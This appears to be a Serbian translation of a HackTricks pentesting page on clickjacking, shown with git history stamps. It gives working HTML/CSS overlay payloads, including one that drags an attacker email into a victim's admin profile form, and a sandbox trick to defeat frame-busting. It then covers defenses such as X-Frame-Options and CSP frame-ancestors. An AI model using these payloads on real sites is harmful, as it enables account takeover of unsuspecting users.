hacktricks/pentesting-web/clickjacking.md

250 lines
14 KiB
Markdown
Raw Normal View History

2022-06-06 22:28:05 +00:00
# Clickjacking
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2023-12-31 01:25:17 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
2024-02-10 13:11:20 +00:00
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** uz pomoć najnaprednijih alata zajednice.\
Dobijte pristup danas:
2022-04-28 16:01:33 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2024-02-10 13:11:20 +00:00
## Šta je Clickjacking
2024-02-10 13:11:20 +00:00
U clickjacking napadu, **korisnik** je **prevaran** da **klikne** na **element** na veb stranici koji je ili **nevidljiv** ili prikazan kao drugi element. Ova manipulacija može dovesti do neželjenih posledica za korisnika, kao što su preuzimanje malvera, preusmeravanje na zlonamerne veb stranice, pružanje pristupnih podataka ili osetljivih informacija, transfer novca ili online kupovina proizvoda.
2024-02-06 03:10:38 +00:00
2024-02-10 13:11:20 +00:00
### Trik za popunjavanje formi
2024-02-10 13:11:20 +00:00
Ponekad je moguće **popuniti vrednost polja forme korišćenjem GET parametara prilikom učitavanja stranice**. Napadač može iskoristiti ovu funkcionalnost da popuni formu sa proizvoljnim podacima i pošalje clickjacking payload tako da korisnik pritisne dugme Submit.
2020-10-13 11:29:54 +00:00
2024-02-10 13:11:20 +00:00
### Popunjavanje forme pomoću Drag\&Drop
2020-10-13 11:29:54 +00:00
2024-02-10 13:11:20 +00:00
Ako želite da korisnik **popuni formu** ali ne želite direktno da ga pitate da unese određene informacije (kao što su email ili specifična lozinka koju znate), možete ga samo zamoliti da **prevuče i ispusti** nešto što će upisati vaše kontrolisane podatke kao u [**ovom primeru**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
2024-02-10 13:11:20 +00:00
### Osnovni Payload
```markup
<style>
2024-02-10 13:11:20 +00:00
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
2024-02-10 13:11:20 +00:00
### Višekorak Payload
Clickjacking napadi mogu se izvesti pomoću višekorak payloada. Ova tehnika uključuje korišćenje više koraka kako bi se postigao ciljani rezultat. Evo nekoliko primera višekorak payloada:
1. **Kliknite na nevidljivi element**: U ovom scenariju, korisnik je prevaren da klikne na nevidljivi element na stranici. Taj element može biti postavljen iznad drugog elementa koji korisnik očekuje da klikne. Kada korisnik klikne na nevidljivi element, zapravo izvršava akciju koju napadač želi.
2. **Kliknite na skriveni iframe**: Ovde se koristi skriveni iframe koji sadrži ciljani sadržaj. Kada korisnik klikne na vidljivi element na stranici, zapravo klikne na skriveni iframe koji izvršava akciju koju napadač želi.
2024-02-10 13:11:20 +00:00
3. **Kliknite na preusmereni element**: U ovom slučaju, korisnik je preusmeren na drugu stranicu koja sadrži ciljani sadržaj. Kada korisnik klikne na element na toj stranici, zapravo izvršava akciju koju napadač želi.
2024-02-10 13:11:20 +00:00
Da bi se izveo višekorak payload, napadač mora pažljivo planirati korake i osigurati da korisnik bude prevaren da klikne na odgovarajuće elemente. Ova tehnika može biti vrlo efikasna u izvođenju clickjacking napada.
```markup
<style>
2024-02-10 13:11:20 +00:00
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
2024-02-10 13:11:20 +00:00
### Drag\&Drop + Klik payload
Ova tehnika clickjacking-a koristi kombinaciju funkcionalnosti prevlačenja i ispuštanja (drag\&drop) i klika kako bi se izvršio payload. Osnovna ideja je da se korisnik navede da prevuče i ispusti neki element na ciljanoj stranici, ali se zapravo izvršava klik na drugi element koji je skriven ili je van vidokruga korisnika.
Da biste izvršili ovu tehniku, pratite sledeće korake:
2024-02-10 13:11:20 +00:00
1. Identifikujte ciljani element na ciljanoj stranici na kojem želite da izvršite klik.
2. Napravite skriveni element na vašoj stranici koji će biti prevučen i ispusten na ciljani element.
3. Postavite skriveni element preko ciljanog elementa koristeći CSS pozicioniranje.
4. Podesite događaj prevlačenja i ispuštanja (drag\&drop) na skrivenom elementu.
5. Kada korisnik prevuče i ispusti skriveni element na ciljani element, izvršiće se klik na ciljani element.
2020-10-13 11:29:54 +00:00
2024-02-10 13:11:20 +00:00
Ova tehnika može biti korisna u situacijama kada ciljani element ima neku vrstu zaštite od direktnog klika ili kada želite da izvršite klik na element koji je van vidokruga korisnika.
Napomena: Kao i kod svih tehnika clickjacking-a, ova tehnika može biti zloupotrebljena i koristiti se u nezakonite svrhe. Koristite je samo u okviru zakona i etičkih smernica.
2020-10-13 11:29:54 +00:00
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
2022-06-06 22:28:05 +00:00
### XSS + Clickjacking
2024-02-10 13:11:20 +00:00
Ako ste identifikovali **XSS napad koji zahteva da korisnik klikne** na neki element da bi **pokrenuo** XSS, a stranica je **ranjiva na clickjacking**, možete je zloupotrebiti da prevarite korisnika da klikne na dugme/link.\
Primer:\
_Pronašli ste **self XSS** u nekim privatnim detaljima naloga (detalji koje **samo vi možete postaviti i čitati**). Stranica sa **formom** za postavljanje ovih detalja je **ranjiva** na **Clickjacking** i možete **unapred popuniti** formu sa GET parametrima._\
\_\_Napadač može pripremiti **Clickjacking** napad na tu stranicu **unapred popunjavajući** formu sa **XSS payloadom** i **prevariti** korisnika da **pošalje** formu. Tako, **kada se forma pošalje** i vrednosti se promene, **korisnik će izvršiti XSS**.
2024-02-10 13:11:20 +00:00
## Strategije za smanjenje Clickjackinga
2024-02-10 13:11:20 +00:00
### Odbrane na klijentskoj strani
2024-02-10 13:11:20 +00:00
Skripte izvršene na klijentskoj strani mogu izvršiti radnje kako bi sprečile Clickjacking:
2024-02-10 13:11:20 +00:00
* Osiguravanje da je prozor aplikacije glavni ili vrhovni prozor.
* Učiniti sve okvire vidljivim.
* Onemogućavanje klikova na nevidljive okvire.
* Otkrivanje i upozoravanje korisnika na potencijalne pokušaje Clickjackinga.
2024-02-10 13:11:20 +00:00
Međutim, ove skripte za prekid okvira mogu biti zaobiđene:
2024-02-10 13:11:20 +00:00
* **Sigurnosne postavke pregledača:** Neki pregledači mogu blokirati ove skripte na osnovu svojih sigurnosnih postavki ili nedostatka podrške za JavaScript.
* **HTML5 iframe `sandbox` atribut:** Napadač može neutralisati skripte za prekid okvira postavljanjem `sandbox` atributa sa vrednostima `allow-forms` ili `allow-scripts` bez `allow-top-navigation`. Ovo sprečava iframe da proveri da li je vrhovni prozor, npr.,
2024-02-06 03:10:38 +00:00
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
2024-02-10 13:11:20 +00:00
`allow-forms` i `allow-scripts` vrednosti omogućavaju radnje unutar iframe-a dok onemogućavaju navigaciju na vrhu. Da bi se osigurala željena funkcionalnost ciljanog sajta, mogu biti potrebne dodatne dozvole poput `allow-same-origin` i `allow-modals`, u zavisnosti od vrste napada. Poruke u konzoli pregledača mogu voditi ka tome koje dozvole treba omogućiti.
2024-02-10 13:11:20 +00:00
### Odbrana na serverskoj strani
2024-02-06 03:10:38 +00:00
#### X-Frame-Options
2024-02-10 13:11:20 +00:00
**`X-Frame-Options` HTTP odgovor zaglavlje** obaveštava pregledače o legitimnosti prikazivanja stranice u `<frame>` ili `<iframe>`, pomažući u sprečavanju Clickjacking-a:
2024-02-10 13:11:20 +00:00
* `X-Frame-Options: deny` - Nijedan domen ne može okvirati sadržaj.
* `X-Frame-Options: sameorigin` - Samo trenutni sajt može okvirati sadržaj.
* `X-Frame-Options: allow-from https://trusted.com` - Samo navedeni 'uri' može okvirati stranicu.
* Napomena o ograničenjima: ako pregledač ne podržava ovu direktivu, možda neće raditi. Neke pregledači više vole CSP frame-ancestors direktivu.
2024-02-10 13:11:20 +00:00
#### Content Security Policy (CSP) frame-ancestors direktiva
2024-02-10 13:11:20 +00:00
**`frame-ancestors` direktiva u CSP** je preporučeni metod za zaštitu od Clickjacking-a:
2024-02-10 13:11:20 +00:00
* `frame-ancestors 'none'` - Slično kao `X-Frame-Options: deny`.
* `frame-ancestors 'self'` - Slično kao `X-Frame-Options: sameorigin`.
* `frame-ancestors trusted.com` - Slično kao `X-Frame-Options: allow-from`.
2024-02-10 13:11:20 +00:00
Na primer, sledeći CSP dozvoljava samo okviranje sa istog domena:
`Content-Security-Policy: frame-ancestors 'self';`
2024-02-10 13:11:20 +00:00
Detaljnije informacije i kompleksni primeri mogu se pronaći u [frame-ancestors CSP dokumentaciji](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) i [Mozilla-inoj CSP frame-ancestors dokumentaciji](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
2024-02-06 03:10:38 +00:00
2024-02-10 13:11:20 +00:00
### Content Security Policy (CSP) sa `child-src` i `frame-src`
2024-02-06 03:10:38 +00:00
2024-02-10 13:11:20 +00:00
**Content Security Policy (CSP)** je sigurnosna mera koja pomaže u sprečavanju Clickjacking-a i drugih napada ubacivanjem koda, tako što definiše izvore koje pregledač treba da dozvoli za učitavanje sadržaja.
2024-02-06 03:10:38 +00:00
2024-02-10 13:11:20 +00:00
#### Direktiva `frame-src`
- Definiše validne izvore za okvire.
- Konkretnija od `default-src` direktive.
2024-02-06 03:10:38 +00:00
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
2024-02-10 13:11:20 +00:00
Ova politika dozvoljava okvire sa istog porekla (self) i https://trusted-website.com.
2024-02-06 03:10:38 +00:00
2024-02-10 13:11:20 +00:00
#### Direktiva `child-src`
- Uvedena u CSP nivou 2 kako bi se postavili validni izvori za web radnike i okvire.
- Deluje kao rezervna opcija za frame-src i worker-src.
2024-02-06 03:10:38 +00:00
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
2024-02-10 13:11:20 +00:00
Ova politika dozvoljava okvire i radnike sa istog porekla (self) i https://trusted-website.com.
2024-02-06 03:10:38 +00:00
2024-02-10 13:11:20 +00:00
**Napomene o korišćenju:**
- Zastarevanje: child-src se postepeno ukida u korist frame-src i worker-src.
- Rezervno ponašanje: Ako frame-src nedostaje, child-src se koristi kao rezervna opcija za okvire. Ako oba nedostaju, koristi se default-src.
- Stroga definicija izvora: Uključite samo pouzdane izvore u direktive kako biste sprečili zloupotrebu.
2024-02-06 03:10:38 +00:00
2024-02-10 13:11:20 +00:00
#### JavaScript skripte za prekid okvira
2024-02-06 03:10:38 +00:00
2024-02-10 13:11:20 +00:00
Iako nije potpuno neprobojno, JavaScript bazirane skripte za prekid okvira mogu se koristiti kako bi se sprečilo da se veb stranica okvira. Primer:
2024-02-06 03:10:38 +00:00
```javascript
if (top !== self) {
2024-02-10 13:11:20 +00:00
top.location = self.location;
2024-02-06 03:10:38 +00:00
}
```
2024-02-10 13:11:20 +00:00
#### Korišćenje Anti-CSRF tokena
2024-02-10 13:11:20 +00:00
* **Provera tokena:** Koristite anti-CSRF tokene u veb aplikacijama kako biste osigurali da se zahtevi koji menjaju stanje naprave namerno od strane korisnika, a ne preko Clickjacked stranice.
2024-02-10 13:11:20 +00:00
## Reference
2022-04-05 22:24:52 +00:00
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
2024-02-10 13:11:20 +00:00
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
Dobijte pristup danas:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2023-12-31 01:25:17 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>